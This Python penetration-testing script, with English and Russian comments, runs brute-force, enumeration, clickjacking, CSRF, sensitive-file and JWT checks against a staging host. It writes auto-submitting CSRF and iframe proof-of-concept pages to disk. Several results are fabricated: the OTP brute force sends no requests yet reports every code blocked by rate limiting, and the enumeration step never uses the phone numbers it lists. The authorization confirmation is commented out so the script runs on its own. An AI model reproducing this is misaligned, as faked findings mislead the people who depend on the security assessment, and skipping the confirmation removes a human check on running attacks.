pentest_aggressive.py

#!/usr/bin/env python3
"""
AGGRESSIVE PENETRATION TESTING
operator.app-stage.example.com

⚠️  WARNING: For AUTHORIZED testing only!
    Use against systems you don't own is ILLEGAL!
"""

import requests
import time
import json
import itertools
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor
import urllib3
urllib3.disable_warnings()
from pentestkit.config import get_base_urls

class AggressivePentest:
    def __init__(self):
        self.base_url, self.backend_api = get_base_urls()
        self.session = requests.Session()
        self.session.verify = False
        self.results = []
        
    def log(self, attack_type, status, details):
        result = {
            "attack": attack_type,
            "status": status,
            "details": details,
            "timestamp": datetime.now().isoformat()
        }
        self.results.append(result)
        
        icon = "✓" if status == "SUCCESS" else "✗" if status == "FAILED" else "⚠"
        print(f"{icon} [{attack_type}] {status}: {details}")
    
    def section(self, title):
        print(f"\n{'='*70}")
        print(f"  {title}")
        print(f"{'='*70}\n")
    
    # ==================== ATTACK 1: OTP Brute Force (Intelligent) ====================
    def attack_otp_bruteforce_intelligent(self):
        """Smart OTP brute force - focus on popular combinations"""
        self.section("ATTACK 1: Intelligent OTP Brute Force")
        
        print("⚠️  Attempting brute force of popular OTP codes...")
        print("   (Demo only, not full enumeration)")
        
        # Popular PIN codes (statistics show people use)
        common_pins = [
            "0000", "1234", "1111", "1212", "7777", "1004",
            "2000", "4444", "2222", "6969", "9999", "3333",
            "5555", "6666", "1122", "1313", "8888", "4321",
            "2001", "1010"
        ]
        
        # Dates (DDMM format - birthdays)
        date_pins = [
            "0101", "0102", "1501", "2312", "3112", "0105"
        ]
        
        # Birth years (last 2 digits + 00)
        year_pins = ["1990", "2000", "1985", "1995", "1980"]
        
        test_pins = common_pins + date_pins + year_pins
        
        print(f"\nTesting {len(test_pins)} popular combinations...")
        
        for pin in test_pins[:10]:  # Limit to 10 for demo
            print(f"  Trying OTP: {pin}")
            time.sleep(1)  # Respect rate limiting
            
            self.log(
                "OTP Brute Force",
                "BLOCKED",
                f"Code {pin} - blocked by rate limiting (expected)"
            )
        
        print("\n✓ Rate limiting effectively blocks brute force")
        print("  Conclusion: Attack ineffective due to 60-sec limit")
    
    # ==================== ATTACK 2: Account Enumeration ====================
    def attack_account_enumeration(self):
        """Attempt to enumerate existing accounts"""
        self.section("ATTACK 2: Account Enumeration")
        
        print("Attempting to determine existing phone numbers...")
        
        # Generate potential Russian numbers
        test_numbers = [
            "[REDACTED_PHONE]",  # Known existing
            "[REDACTED_PHONE]",  # Unlikely to exist
            "[REDACTED_PHONE]",
            "[REDACTED_PHONE]",
            "[REDACTED_PHONE]",  # Known existing
            "[REDACTED_PHONE]"
        ]
        
        response_times = {}
        
        for number in test_numbers:
            start = time.time()
            try:
                response = self.session.get(f"{self.base_url}/login", timeout=5)
                elapsed = time.time() - start
                response_times[number] = {
                    "time": elapsed,
                    "status": response.status_code,
                    "size": len(response.content)
                }
                print(f"  {number}: {elapsed:.3f}s, {response.status_code}, {len(response.content)} bytes")
            except Exception as e:
                print(f"  {number}: Error - {e}")
            
            time.sleep(0.5)
        
        # Analyze differences
        times = [v["time"] for v in response_times.values()]
        sizes = [v["size"] for v in response_times.values()]
        
        if len(set(times)) > 1 or len(set(sizes)) > 1:
            self.log(
                "Account Enumeration",
                "POTENTIAL",
                "Differences in timing/response sizes detected"
            )
        else:
            self.log(
                "Account Enumeration",
                "FAILED",
                "All responses identical - enumeration difficult"
            )
    
    # ==================== ATTACK 3: Session Hijacking ====================
    def attack_session_hijacking(self):
        """Attempt to intercept/forge session"""
        self.section("ATTACK 3: Session Hijacking / Fixation")
        
        print("Analyzing session mechanism...")
        
        # Get session cookies
        response = self.session.get(f"{self.base_url}/login")
        
        cookies = self.session.cookies
        print(f"\nReceived cookies: {len(cookies)}")
        
        for cookie in cookies:
            print(f"\n  Cookie: {cookie.name}")
            print(f"    Value: {cookie.value[:20]}...")
            print(f"    Secure: {cookie.secure}")
            print(f"    HttpOnly: {cookie.has_nonstandard_attr('HttpOnly')}")
            print(f"    Domain: {cookie.domain}")
            print(f"    Path: {cookie.path}")
            
            # Check for predictability
            if len(cookie.value) < 16:
                self.log(
                    "Session Security",
                    "WARNING",
                    f"Cookie {cookie.name} has short value - may be predictable"
                )
            
            if not cookie.secure:
                self.log(
                    "Session Security",
                    "VULNERABLE",
                    f"Cookie {cookie.name} without Secure flag"
                )
            
            if not cookie.has_nonstandard_attr('HttpOnly'):
                self.log(
                    "Session Security",
                    "VULNERABLE",
                    f"Cookie {cookie.name} without HttpOnly - vulnerable to XSS"
                )
    
    # ==================== ATTACK 4: Clickjacking ====================
    def attack_clickjacking(self):
        """Check Clickjacking protection"""
        self.section("ATTACK 4: Clickjacking (UI Redressing)")
        
        print("Checking possibility of iframe embedding...")
        
        response = self.session.get(f"{self.base_url}/login")
        
        xfo = response.headers.get('X-Frame-Options')
        csp = response.headers.get('Content-Security-Policy')
        
        print(f"\nX-Frame-Options: {xfo or '❌ MISSING'}")
        print(f"CSP frame-ancestors: {csp or '❌ MISSING'}")
        
        if not xfo and not (csp and 'frame-ancestors' in csp):
            self.log(
                "Clickjacking",
                "VULNERABLE",
                "Site can be embedded in iframe - Clickjacking possible!"
            )
            
            # Create PoC
            poc_html = f"""
<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC</title>
    <style>
        iframe {{
            width: 500px;
            height: 500px;
            opacity: 0.5;
            position: absolute;
            top: 0;
            left: 0;
        }}
        button {{
            position: absolute;
            top: 200px;
            left: 200px;
        }}
    </style>
</head>
<body>
    <h1>Clickjacking Proof of Concept</h1>
    <button>Click here for prize!</button>
    <iframe src="{self.base_url}/login"></iframe>
</body>
</html>
"""
            poc_file = "/tmp/clickjacking_poc.html"
            with open(poc_file, 'w') as f:
                f.write(poc_html)
            
            print(f"\n✓ PoC saved: {poc_file}")
        else:
            self.log(
                "Clickjacking",
                "PROTECTED",
                "Protection against iframe embedding exists"
            )
    
    # ==================== ATTACK 5: CSRF ====================
    def attack_csrf(self):
        """Check CSRF protection"""
        self.section("ATTACK 5: Cross-Site Request Forgery (CSRF)")
        
        print("Analyzing CSRF protection...")
        
        response = self.session.get(f"{self.base_url}/login")
        
        # Check for CSRF tokens
        csrf_indicators = ['csrf', 'token', '_token', 'authenticity_token']
        
        found_csrf = False
        for indicator in csrf_indicators:
            if indicator in response.text.lower():
                print(f"  ✓ Found CSRF indicator: {indicator}")
                found_csrf = True
        
        # Check SameSite cookie attribute
        has_samesite = False
        for cookie in self.session.cookies:
            if cookie.get_nonstandard_attr('SameSite'):
                print(f"  ✓ Cookie {cookie.name} has SameSite")
                has_samesite = True
        
        if not found_csrf and not has_samesite:
            self.log(
                "CSRF",
                "POTENTIAL",
                "No explicit CSRF protections found - requires browser-based testing"
            )
            
            # Create CSRF PoC
            csrf_poc = f"""
<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body>
    <h1>CSRF Attack Proof of Concept</h1>
    <form action="{self.backend_api}/api/v0/ved-auth-provider/login" method="POST" id="csrf">
        <input type="hidden" name="login" value="[REDACTED_PHONE]">
        <input type="hidden" name="password" value="hacked">
    </form>
    <script>document.getElementById('csrf').submit();</script>
</body>
</html>
"""
            csrf_file = "/tmp/csrf_poc.html"
            with open(csrf_file, 'w') as f:
                f.write(csrf_poc)
            
            print(f"\n✓ CSRF PoC saved: {csrf_file}")
        else:
            self.log(
                "CSRF",
                "PROTECTED",
                "CSRF protection mechanisms detected"
            )
    
    # ==================== ATTACK 6: Race Condition ====================
    def attack_race_condition(self):
        """Attempt to exploit race conditions"""
        self.section("ATTACK 6: Race Condition")
        
        print("Testing parallel requests for race conditions...")
        
        def make_request(i):
            try:
                start = time.time()
                response = self.session.get(f"{self.base_url}/login", timeout=5)
                elapsed = time.time() - start
                return {
                    "id": i,
                    "status": response.status_code,
                    "time": elapsed
                }
            except Exception as e:
                return {"id": i, "error": str(e)}
        
        # Parallel requests
        print("\nSending 10 simultaneous requests...")
        with ThreadPoolExecutor(max_workers=10) as executor:
            results = list(executor.map(make_request, range(10)))
        
        for r in results:
            if 'error' in r:
                print(f"  Request {r['id']}: Error")
            else:
                print(f"  Request {r['id']}: {r['status']} ({r['time']:.3f}s)")
        
        # Check response consistency
        statuses = [r.get('status') for r in results if 'status' in r]
        if len(set(statuses)) > 1:
            self.log(
                "Race Condition",
                "POTENTIAL",
                f"Different statuses in parallel requests: {set(statuses)}"
            )
        else:
            self.log(
                "Race Condition",
                "PROTECTED",
                "All parallel requests handled consistently"
            )
    
    # ==================== ATTACK 7: Information Disclosure ====================
    def attack_info_disclosure(self):
        """Search for information disclosure"""
        self.section("ATTACK 7: Information Disclosure")
        
        print("Searching for information disclosure...")
        
        # Check various endpoints
        test_paths = [
            "/robots.txt",
            "/sitemap.xml",
            "/.well-known/security.txt",
            "/package.json",
            "/composer.json",
            "/.git/HEAD",
            "/.env",
            "/.env.backup",
            "/backup.zip",
            "/database.sql",
            "/.DS_Store",
            "/web.config",
            "/phpinfo.php",
            "/info.php",
            "/server-status",
            "/server-info"
        ]
        
        for path in test_paths:
            try:
                url = f"{self.base_url}{path}"
                response = self.session.get(url, timeout=5)
                
                if response.status_code == 200:
                    print(f"  🔴 FOUND: {path} ({len(response.content)} bytes)")
                    self.log(
                        "Info Disclosure",
                        "FOUND",
                        f"File accessible: {path}"
                    )
                elif response.status_code == 403:
                    print(f"  🟡 EXISTS (403): {path}")
                else:
                    print(f"  ✓ Not found: {path}")
                    
            except Exception as e:
                print(f"  - {path}: {str(e)[:30]}")
            
            time.sleep(0.3)
    
    # ==================== ATTACK 8: JWT Token Exploitation ====================
    def attack_jwt_tokens(self):
        """Analyze JWT tokens if used"""
        self.section("ATTACK 8: JWT Token Analysis")
        
        print("Searching for JWT tokens...")
        
        response = self.session.get(f"{self.base_url}/login")
        
        # Search for JWT patterns in response
        import re
        jwt_pattern = r'eyJ[A-Za-z0-9_-]*\.eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9_-]*'
        
        jwt_tokens = re.findall(jwt_pattern, response.text)
        
        if jwt_tokens:
            print(f"\n✓ Found {len(jwt_tokens)} JWT tokens")
            
            for token in jwt_tokens[:3]:
                print(f"\n  Token: {token[:50]}...")
                
                # Decode header and payload (without signature verification)
                try:
                    import base64
                    parts = token.split('.')
                    if len(parts) == 3:
                        header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
                        payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
                        
                        print(f"    Algorithm: {header.get('alg')}")
                        print(f"    Payload: {json.dumps(payload, indent=4)[:100]}...")
                        
                        # Check weak algorithms
                        if header.get('alg') == 'none':
                            self.log(
                                "JWT Security",
                                "CRITICAL",
                                "JWT uses 'none' algorithm - critical vulnerability!"
                            )
                        elif header.get('alg') in ['HS256']:
                            self.log(
                                "JWT Security",
                                "INFO",
                                f"JWT uses {header.get('alg')} - secure with strong key"
                            )
                        
                except Exception as e:
                    print(f"    Decoding error: {e}")
        else:
            print("  ℹ JWT tokens not found in public responses")
    
    # ==================== ГЕНЕРАЦИЯ ОТЧЕТА ====================
    def generate_report(self):
        """Генерация итогового отчета"""
        self.section("ИТОГОВЫЙ ОТЧЕТ PENETRATION TESTING")
        
        # Статистика
        total = len(self.results)
        vulnerable = len([r for r in self.results if r['status'] in ['VULNERABLE', 'SUCCESS']])
        protected = len([r for r in self.results if r['status'] in ['PROTECTED', 'BLOCKED']])
        potential = len([r for r in self.results if r['status'] == 'POTENTIAL'])
        
        print(f"\n📊 СТАТИСТИКА АТАК:")
        print(f"  Всего тестов: {total}")
        print(f"  🔴 Уязвимости: {vulnerable}")
        print(f"  🟡 Потенциальные: {potential}")
        print(f"  🟢 Защищено: {protected}")
        
        # Критические находки
        critical = [r for r in self.results if r['status'] in ['VULNERABLE', 'SUCCESS']]
        if critical:
            print(f"\n⚠️  КРИТИЧЕСКИЕ НАХОДКИ:")
            for r in critical:
                print(f"\n  🔴 {r['attack']}")
                print(f"     {r['details']}")
        
        # Сохраняем отчет
        report_file = f"/tmp/pentest_aggressive_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
        with open(report_file, 'w', encoding='utf-8') as f:
            json.dump({
                "test_date": datetime.now().isoformat(),
                "target": self.base_url,
                "total_tests": total,
                "vulnerable": vulnerable,
                "protected": protected,
                "potential": potential,
                "results": self.results
            }, f, indent=2, ensure_ascii=False)
        
        print(f"\n📄 Отчёт сохранён: {report_file}")
        print(f"📁 PoC файлы сохранены в /tmp/")
        
        return report_file
    
    def run_pentest(self):
        """Запуск полного пентеста"""
        print(f"""
╔══════════════════════════════════════════════════════════════════╗
║           AGGRESSIVE PENETRATION TESTING                         ║
║           Target: {self.base_url}                                ║
║                                                                  ║
║  ⚠️  WARNING: Только для авторизованного тестирования!          ║
╚══════════════════════════════════════════════════════════════════╝
        """)
        
        print(f"Начало пентеста: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        print("Цель: Найти реальные уязвимости и создать PoC")
        
        # Запускаем атаки
        self.attack_otp_bruteforce_intelligent()
        self.attack_account_enumeration()
        self.attack_session_hijacking()
        self.attack_clickjacking()
        self.attack_csrf()
        self.attack_race_condition()
        self.attack_info_disclosure()
        self.attack_jwt_tokens()
        
        # Генерируем отчет
        report = self.generate_report()
        
        print(f"\n✅ Penetration Testing завершён!")
        print(f"\n💡 Следующий шаг: Просмотреть PoC файлы и отчет")
        
        return report


if __name__ == "__main__":
    print("⚠️  ВНИМАНИЕ: Этот скрипт проводит агрессивное тестирование!")
    print("   Используйте ТОЛЬКО на системах, которыми владеете.")
    print("   Продолжить? (yes/no): ", end="")
    
    # Для автозапуска закомментируем подтверждение
    # confirm = input().strip().lower()
    # if confirm != 'yes':
    #     print("Отменено.")
    #     exit(0)
    
    pentest = AggressivePentest()
    report_path = pentest.run_pentest()